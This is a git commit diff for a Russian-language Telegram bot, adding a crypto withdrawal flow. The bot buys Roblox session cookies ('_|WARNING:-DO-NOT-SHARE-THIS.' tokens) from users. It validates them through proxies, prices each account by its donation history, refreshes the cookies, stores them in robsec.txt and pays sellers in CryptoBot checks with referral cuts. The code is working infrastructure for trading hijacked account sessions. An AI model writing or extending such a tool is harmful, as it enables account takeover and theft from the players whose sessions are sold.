feat(withdraw): add user withdrawal flow using CryptoPay
This commit is contained in:
+24
-7
@@ -11,7 +11,7 @@ from aiogram.types import (
|
||||
Message,
|
||||
)
|
||||
|
||||
from config import ADMIN_ID, ROBSEC_FILE
|
||||
from config import ADMIN_ID, CRYPTO_PAY_ASSET, ROBSEC_FILE
|
||||
from db.storage import load_config
|
||||
from db.users import get
|
||||
from keyboards.admin import admin_menu_kb
|
||||
@@ -37,7 +37,10 @@ from states.admin import Form
|
||||
from runtime import get_bot
|
||||
from utils.logging import safe_edit
|
||||
|
||||
from runtime import get_cp
|
||||
|
||||
router = Router(name="admin")
|
||||
cp = get_cp()
|
||||
|
||||
|
||||
def _admin(user_id: int) -> bool:
|
||||
@@ -78,7 +81,9 @@ def _user_card(uid: int) -> tuple[str, InlineKeyboardMarkup] | None:
|
||||
],
|
||||
[
|
||||
InlineKeyboardButton(
|
||||
text="👑 Убрать админку" if profile.is_admin else "👑 Выдать админку",
|
||||
text=(
|
||||
"👑 Убрать админку" if profile.is_admin else "👑 Выдать админку"
|
||||
),
|
||||
callback_data=f"u_admin_{uid}",
|
||||
)
|
||||
],
|
||||
@@ -184,7 +189,9 @@ async def admin_robsec_clear_yes(callback: CallbackQuery):
|
||||
if not _admin(callback.from_user.id):
|
||||
return
|
||||
clear_robsec()
|
||||
await safe_edit(callback, "✅ <b>robsec.txt очищен</b>", reply_markup=admin_menu_kb())
|
||||
await safe_edit(
|
||||
callback, "✅ <b>robsec.txt очищен</b>", reply_markup=admin_menu_kb()
|
||||
)
|
||||
await callback.answer("Очищено")
|
||||
|
||||
|
||||
@@ -315,7 +322,8 @@ async def admin_treasury_amount(message: Message, state: FSMContext):
|
||||
"❌ Не удалось создать счет CryptoBot.", reply_markup=admin_menu_kb()
|
||||
)
|
||||
return
|
||||
pay_url, invoice_id, amount_usdt = invoice
|
||||
pay_url, invoice_id, amount_asset = invoice
|
||||
|
||||
keyboard = InlineKeyboardMarkup(
|
||||
inline_keyboard=[
|
||||
[InlineKeyboardButton(text="💳 Оплатить", url=pay_url)],
|
||||
@@ -328,7 +336,7 @@ async def admin_treasury_amount(message: Message, state: FSMContext):
|
||||
]
|
||||
)
|
||||
await message.answer(
|
||||
f"🏦 Счет на пополнение казны\n\n💰 Сумма: <b>{amount:.2f} ₽</b> (~{amount_usdt} USDT)\n\nПосле оплаты нажмите «Проверить оплату».",
|
||||
f"🏦 Счет на пополнение казны\n\n💰 Сумма: <b>{amount:.2f} ₽</b> (~{amount_asset} {CRYPTO_PAY_ASSET})\n\nПосле оплаты нажмите «Проверить оплату».",
|
||||
parse_mode="HTML",
|
||||
reply_markup=keyboard,
|
||||
)
|
||||
@@ -338,16 +346,21 @@ async def admin_treasury_amount(message: Message, state: FSMContext):
|
||||
async def treasury_check(callback: CallbackQuery):
|
||||
if not _admin(callback.from_user.id):
|
||||
return
|
||||
|
||||
_, _, invoice_id, amount = callback.data.split("_", 3)
|
||||
|
||||
try:
|
||||
paid = await check_treasury_invoice(int(invoice_id))
|
||||
amount_rub = float(amount)
|
||||
|
||||
except (ValueError, TypeError):
|
||||
paid = False
|
||||
amount_rub = 0.0
|
||||
|
||||
if not paid:
|
||||
await callback.answer("Оплата еще не поступила", show_alert=True)
|
||||
return
|
||||
|
||||
balance = add_treasury(amount_rub)
|
||||
await safe_edit(
|
||||
callback,
|
||||
@@ -392,7 +405,9 @@ async def admin_users(callback: CallbackQuery, state: FSMContext):
|
||||
return
|
||||
await state.set_state(Form.admin_find_user)
|
||||
await safe_edit(
|
||||
callback, "Отправьте ID пользователя или @username.", reply_markup=back_kb("admin_back")
|
||||
callback,
|
||||
"Отправьте ID пользователя или @username.",
|
||||
reply_markup=back_kb("admin_back"),
|
||||
)
|
||||
|
||||
|
||||
@@ -489,7 +504,9 @@ async def u_ban(callback: CallbackQuery, state: FSMContext):
|
||||
await state.update_data(target_uid=uid)
|
||||
await state.set_state(Form.admin_user_ban_reason)
|
||||
await safe_edit(
|
||||
callback, "Отправьте причину блокировки:", reply_markup=back_kb("admin_back")
|
||||
callback,
|
||||
"Отправьте причину блокировки:",
|
||||
reply_markup=back_kb("admin_back"),
|
||||
)
|
||||
return
|
||||
card = _user_card(uid)
|
||||
|
||||
+47
-14
@@ -36,7 +36,9 @@ async def _blocked(message: Message) -> bool:
|
||||
register(message.from_user.id, message.from_user.username)
|
||||
profile = get(message.from_user.id)
|
||||
if profile.is_banned:
|
||||
await message.answer(f"❌ Вы заблокированы. Причина: {profile.ban_reason or '—'}")
|
||||
await message.answer(
|
||||
f"❌ Вы заблокированы. Причина: {profile.ban_reason or '—'}"
|
||||
)
|
||||
return True
|
||||
cfg = load_config()
|
||||
if not cfg.bot_enabled and message.from_user.id != ADMIN_ID:
|
||||
@@ -51,7 +53,9 @@ async def _blocked(message: Message) -> bool:
|
||||
@router.message(StateFilter(None), F.document)
|
||||
async def handle_document(message: Message):
|
||||
if is_admin(message.from_user.id):
|
||||
await message.answer("👑 Администраторы не могут продавать cookie. Используйте /admin.")
|
||||
await message.answer(
|
||||
"👑 Администраторы не могут продавать cookie. Используйте /admin."
|
||||
)
|
||||
return
|
||||
if await _blocked(message):
|
||||
return
|
||||
@@ -60,7 +64,10 @@ async def handle_document(message: Message):
|
||||
await message.answer("❌ Отправьте файл формата .txt.")
|
||||
return
|
||||
|
||||
path = COOKIE_FILES_DIR / f"{message.from_user.id}_{random.randint(100000, 999999)}.txt"
|
||||
path = (
|
||||
COOKIE_FILES_DIR
|
||||
/ f"{message.from_user.id}_{random.randint(100000, 999999)}.txt"
|
||||
)
|
||||
try:
|
||||
await message.bot.download(message.document, destination=path)
|
||||
text = path.read_text(encoding="utf-8", errors="ignore")
|
||||
@@ -72,14 +79,22 @@ async def handle_document(message: Message):
|
||||
@router.message(StateFilter(None), F.text & ~F.text.startswith("/"))
|
||||
async def handle_text(message: Message):
|
||||
if is_admin(message.from_user.id):
|
||||
await message.answer("👑 Администраторы не могут продавать cookie. Используйте /admin.")
|
||||
await message.answer(
|
||||
"👑 Администраторы не могут продавать cookie. Используйте /admin."
|
||||
)
|
||||
return
|
||||
|
||||
if await _blocked(message):
|
||||
return
|
||||
|
||||
text = message.text or ""
|
||||
if "_|WARNING:-DO-NOT-SHARE-THIS." not in text:
|
||||
await message.answer("👋 Используйте меню ниже или отправьте текст с cookie.", reply_markup=main_menu_kb())
|
||||
await message.answer(
|
||||
"👋 Используйте меню ниже или отправьте текст с cookie.",
|
||||
reply_markup=main_menu_kb(),
|
||||
)
|
||||
return
|
||||
|
||||
await process_cookies(message, text)
|
||||
|
||||
|
||||
@@ -99,7 +114,9 @@ async def process_cookies(message: Message, raw_text: str):
|
||||
|
||||
valid = []
|
||||
async with aiohttp.ClientSession() as session:
|
||||
tasks = [check_cookie_with_retry(session, cookie, proxies) for cookie in cookies]
|
||||
tasks = [
|
||||
check_cookie_with_retry(session, cookie, proxies) for cookie in cookies
|
||||
]
|
||||
for index, task in enumerate(asyncio.as_completed(tasks), start=1):
|
||||
try:
|
||||
result = await task
|
||||
@@ -117,15 +134,22 @@ async def process_cookies(message: Message, raw_text: str):
|
||||
pass
|
||||
|
||||
if not valid:
|
||||
await progress.edit_text(f"❌ Валидные cookie не найдены. Дубликатов: {duplicates}")
|
||||
await progress.edit_text(
|
||||
f"❌ Валидные cookie не найдены. Дубликатов: {duplicates}"
|
||||
)
|
||||
return
|
||||
|
||||
await progress.edit_text(f"⏳ <b>Проверяю донаты</b>\nВалидных cookie: {len(valid)}", parse_mode="HTML")
|
||||
await progress.edit_text(
|
||||
f"⏳ <b>Проверяю донаты</b>\nВалидных cookie: {len(valid)}", parse_mode="HTML"
|
||||
)
|
||||
donations = []
|
||||
async with aiohttp.ClientSession() as session:
|
||||
|
||||
async def get_donation(result):
|
||||
proxy = random.choice(proxies) if proxies else None
|
||||
all_time = await get_all_time_donate(session, result.cookie, result.user_id, proxy)
|
||||
all_time = await get_all_time_donate(
|
||||
session, result.cookie, result.user_id, proxy
|
||||
)
|
||||
year = await get_year_donate(result.cookie, result.user_id, proxy)
|
||||
return CookieDonationInfo(
|
||||
cookie=result.cookie,
|
||||
@@ -152,14 +176,16 @@ async def process_cookies(message: Message, raw_text: str):
|
||||
fresh_ok = []
|
||||
fresh_failed = 0
|
||||
for offset in range(0, len(priced), FRESHER_BATCH_SIZE):
|
||||
batch = priced[offset:offset + FRESHER_BATCH_SIZE]
|
||||
batch = priced[offset : offset + FRESHER_BATCH_SIZE]
|
||||
|
||||
async def refresh(item):
|
||||
proxy = random.choice(proxies) if proxies else None
|
||||
ok, refreshed = await fresh_cookie_async(item.cookie, proxy)
|
||||
return item, ok, refreshed
|
||||
|
||||
for item, ok, refreshed in await asyncio.gather(*(refresh(item) for item in batch)):
|
||||
for item, ok, refreshed in await asyncio.gather(
|
||||
*(refresh(item) for item in batch)
|
||||
):
|
||||
if ok and isinstance(refreshed, str) and refreshed.startswith("_|WARNING"):
|
||||
fresh_ok.append((item, refreshed))
|
||||
else:
|
||||
@@ -184,8 +210,13 @@ async def process_cookies(message: Message, raw_text: str):
|
||||
with ROBSEC_FILE.open("a", encoding="utf-8") as output:
|
||||
output.writelines(f"{cookie}\n" for _, cookie in fresh_ok)
|
||||
|
||||
user_file = COOKIE_FILES_DIR / f"robsec_{message.from_user.id}_{random.randint(100000, 999999)}.txt"
|
||||
user_file.write_text("".join(f"{cookie}\n" for _, cookie in fresh_ok), encoding="utf-8")
|
||||
user_file = (
|
||||
COOKIE_FILES_DIR
|
||||
/ f"robsec_{message.from_user.id}_{random.randint(100000, 999999)}.txt"
|
||||
)
|
||||
user_file.write_text(
|
||||
"".join(f"{cookie}\n" for _, cookie in fresh_ok), encoding="utf-8"
|
||||
)
|
||||
payout = sum(item.price for item, _ in fresh_ok)
|
||||
|
||||
profile = get(message.from_user.id)
|
||||
@@ -202,7 +233,9 @@ async def process_cookies(message: Message, raw_text: str):
|
||||
stats.total_paid_direct += payout
|
||||
save_stats(stats)
|
||||
bot = get_bot() or message.bot
|
||||
await apply_referral_payout(bot, profile.user_id, profile.username, payout, cfg.referral_percent)
|
||||
await apply_referral_payout(
|
||||
bot, profile.user_id, profile.username, payout, cfg.referral_percent
|
||||
)
|
||||
|
||||
method = "📊 AVG-система" if avg_used else "📋 Поштучный"
|
||||
report = (
|
||||
|
||||
+74
-29
@@ -1,11 +1,12 @@
|
||||
from aiogram import F, Router
|
||||
from aiogram.fsm.context import FSMContext
|
||||
from aiogram.types import CallbackQuery
|
||||
from aiogram.types import LinkPreviewOptions, CallbackQuery, Message
|
||||
from aiogram.fsm.state import State, StatesGroup
|
||||
|
||||
from config import ADMIN_ID, BOT_USERNAME
|
||||
from db.storage import load_config, load_stats
|
||||
from db.storage import load_config, load_stats, save_config
|
||||
from db.users import get, register, save
|
||||
from keyboards.user import back_kb
|
||||
from keyboards.user import back_kb, activate_kb
|
||||
from runtime import get_bot, get_log_bot
|
||||
from services.withdrawals import create_crypto_check
|
||||
from utils.logging import log_admin, safe_edit
|
||||
@@ -13,6 +14,10 @@ from utils.logging import log_admin, safe_edit
|
||||
router = Router(name="user")
|
||||
|
||||
|
||||
class WithdrawState(StatesGroup):
|
||||
waiting_for_amount = State()
|
||||
|
||||
|
||||
def _get_profile(callback: CallbackQuery):
|
||||
profile = get(callback.from_user.id)
|
||||
if profile is None:
|
||||
@@ -77,6 +82,7 @@ async def cb_withdraw(callback: CallbackQuery, state: FSMContext):
|
||||
await state.clear()
|
||||
profile = _get_profile(callback)
|
||||
cfg = load_config()
|
||||
|
||||
if profile.balance < cfg.min_withdraw:
|
||||
await safe_edit(
|
||||
callback,
|
||||
@@ -87,37 +93,76 @@ async def cb_withdraw(callback: CallbackQuery, state: FSMContext):
|
||||
)
|
||||
await callback.answer()
|
||||
return
|
||||
if profile.balance > cfg.treasury:
|
||||
await safe_edit(
|
||||
callback,
|
||||
f"⚠️ Недостаточно средств в казне: <b>{cfg.treasury:.2f} ₽</b>.",
|
||||
reply_markup=back_kb(),
|
||||
)
|
||||
await callback.answer()
|
||||
return
|
||||
|
||||
await callback.answer("⏳ Создаю чек...")
|
||||
await safe_edit(callback, "⏳ Создаю CryptoBot-чек, подождите...")
|
||||
amount = profile.balance
|
||||
check_url = await create_crypto_check(amount)
|
||||
if not check_url:
|
||||
await safe_edit(callback, "❌ Не удалось создать чек. Попробуйте позже.", reply_markup=back_kb())
|
||||
return
|
||||
|
||||
profile.balance = 0.0
|
||||
save(profile.user_id, profile)
|
||||
cfg.treasury = max(0.0, cfg.treasury - amount)
|
||||
from db.storage import save_config
|
||||
|
||||
save_config(cfg)
|
||||
await safe_edit(
|
||||
callback,
|
||||
f"✅ Чек создан на сумму <b>{amount:.2f} ₽</b>.\n"
|
||||
f"<a href='{check_url}'>Активировать чек</a>",
|
||||
f"💳 <b>Вывод средств</b>\n\n"
|
||||
f"Ваш баланс: <b>{profile.balance:.2f} ₽</b>\n"
|
||||
f"Минимум: <b>{cfg.min_withdraw:.2f} ₽</b>\n\n"
|
||||
f"Введите сумму для вывода:",
|
||||
reply_markup=back_kb(),
|
||||
disable_web_page_preview=True,
|
||||
)
|
||||
bot = get_bot() or callback.message.bot
|
||||
await state.set_state(WithdrawState.waiting_for_amount)
|
||||
await callback.answer()
|
||||
|
||||
|
||||
@router.message(WithdrawState.waiting_for_amount)
|
||||
async def process_withdraw_amount(message: Message, state: FSMContext):
|
||||
profile = _get_profile(message)
|
||||
cfg = load_config()
|
||||
|
||||
try:
|
||||
amount = float(message.text)
|
||||
except ValueError:
|
||||
await message.answer("❌ Введите корректную сумму числом.")
|
||||
return
|
||||
|
||||
if amount <= 0:
|
||||
await message.answer("❌ Сумма должна быть больше нуля.")
|
||||
return
|
||||
|
||||
if amount < cfg.min_withdraw:
|
||||
await message.answer(f"❌ Минимум для вывода: <b>{cfg.min_withdraw:.2f} ₽</b>.")
|
||||
return
|
||||
|
||||
if amount > profile.balance:
|
||||
await message.answer(
|
||||
f"❌ Недостаточно средств. Ваш баланс: <b>{profile.balance:.2f} ₽</b>."
|
||||
)
|
||||
return
|
||||
|
||||
if amount > cfg.treasury:
|
||||
await message.answer(
|
||||
f"❌ Недостаточно средств в казне: <b>{cfg.treasury:.2f} ₽</b>."
|
||||
)
|
||||
return
|
||||
|
||||
await state.clear()
|
||||
await message.answer("⏳ Создаю CryptoBot-чек, подождите...")
|
||||
|
||||
check_url, check_image_url = await create_crypto_check(amount)
|
||||
if not check_url:
|
||||
await message.answer(
|
||||
"❌ Не удалось создать чек. Попробуйте позже.",
|
||||
reply_markup=back_kb(),
|
||||
)
|
||||
return
|
||||
|
||||
profile.balance -= amount
|
||||
save(profile.user_id, profile)
|
||||
cfg.treasury = max(0.0, cfg.treasury - amount)
|
||||
|
||||
save_config(cfg)
|
||||
|
||||
await message.answer(
|
||||
text=f"🦋 Чек на <b>{amount:.2f} ₽</b>.",
|
||||
reply_markup=activate_kb(url=check_url, amount=amount),
|
||||
link_preview_options=LinkPreviewOptions(
|
||||
url=check_image_url, show_above_text=True
|
||||
),
|
||||
)
|
||||
|
||||
bot = get_bot() or message.bot
|
||||
await log_admin(
|
||||
bot,
|
||||
ADMIN_ID,
|
||||
|
||||
Reference in New Issue
Block a user